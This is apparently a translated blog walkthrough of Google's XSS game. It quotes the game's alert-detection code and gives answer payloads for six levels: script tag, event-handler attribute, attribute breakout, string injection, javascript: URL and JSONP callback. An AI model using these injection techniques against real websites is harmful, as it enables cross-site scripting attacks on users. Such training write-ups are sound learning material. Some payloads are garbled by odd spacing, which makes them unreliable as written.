Google recently launched an XSS game:
Https://xss-game.appspot.com/
It took me two or three hours to get the result ..
The rule of this game is that you only need to pop up the alert window on the attack webpage.
The question page is nested in iframe, so how does the parent window know that the window is successfully displayed in iframe?
Is implemented in this way:
This js is loaded on the question page, and the alert function is rewritten. When alert is called, a message is sent to the parent.
Https://xss-game.appspot.com/static/game-frame.js
/* If we're being iframed, let the parent know our URL *//* Kids: don't do this at home! */parent.postMessage(window.location.toString(), "*");/* Override window.alert */var originalAlert = window.alert;window.alert = function(s) { parent.postMessage("success", "*"); setTimeout(function() { originalAlert("Congratulations, you executed an alert:\n\n" + s + "\n\nYou can now advance to the next level."); }, 50);}
Then the parent window registers an EventListener to receive the message:
Https://xss-game.appspot.com/static/game.js
window.addEventListener("message", function(event) { if (!window.location.origin) { window.location.origin = window.location.protocol + "//" + window.location.hostname + (window.location.port ? ':' + window.location.port: ''); } if (event.origin == window.location.origin && event.data == "success") { userOpenedAlert = true; levelSolved(); return; }
The bottom is the answer to the question. If you want to play the game on your own, please be careful.
Answer:
Level1:
<Script> alert (1) </script>
Level2:
<Input onmouseover = "alert (1)">
Level3:
Https://xss-game.appspot.com/level3/frame00003.jpg'onload = "alert (1)">
Level4:
3 '); alert ('1
Level5:
Https://xss-game.appspot.com/level5/frame/signup? Next = javascript: alert (1)
Level6:
The point is that there must be a space in front.
Https://www.google.com/jsapi? Callback = alert
After the game passes, google provides an xss document:
Https://www.google.com/about/appsecurity/learning/xss/index.html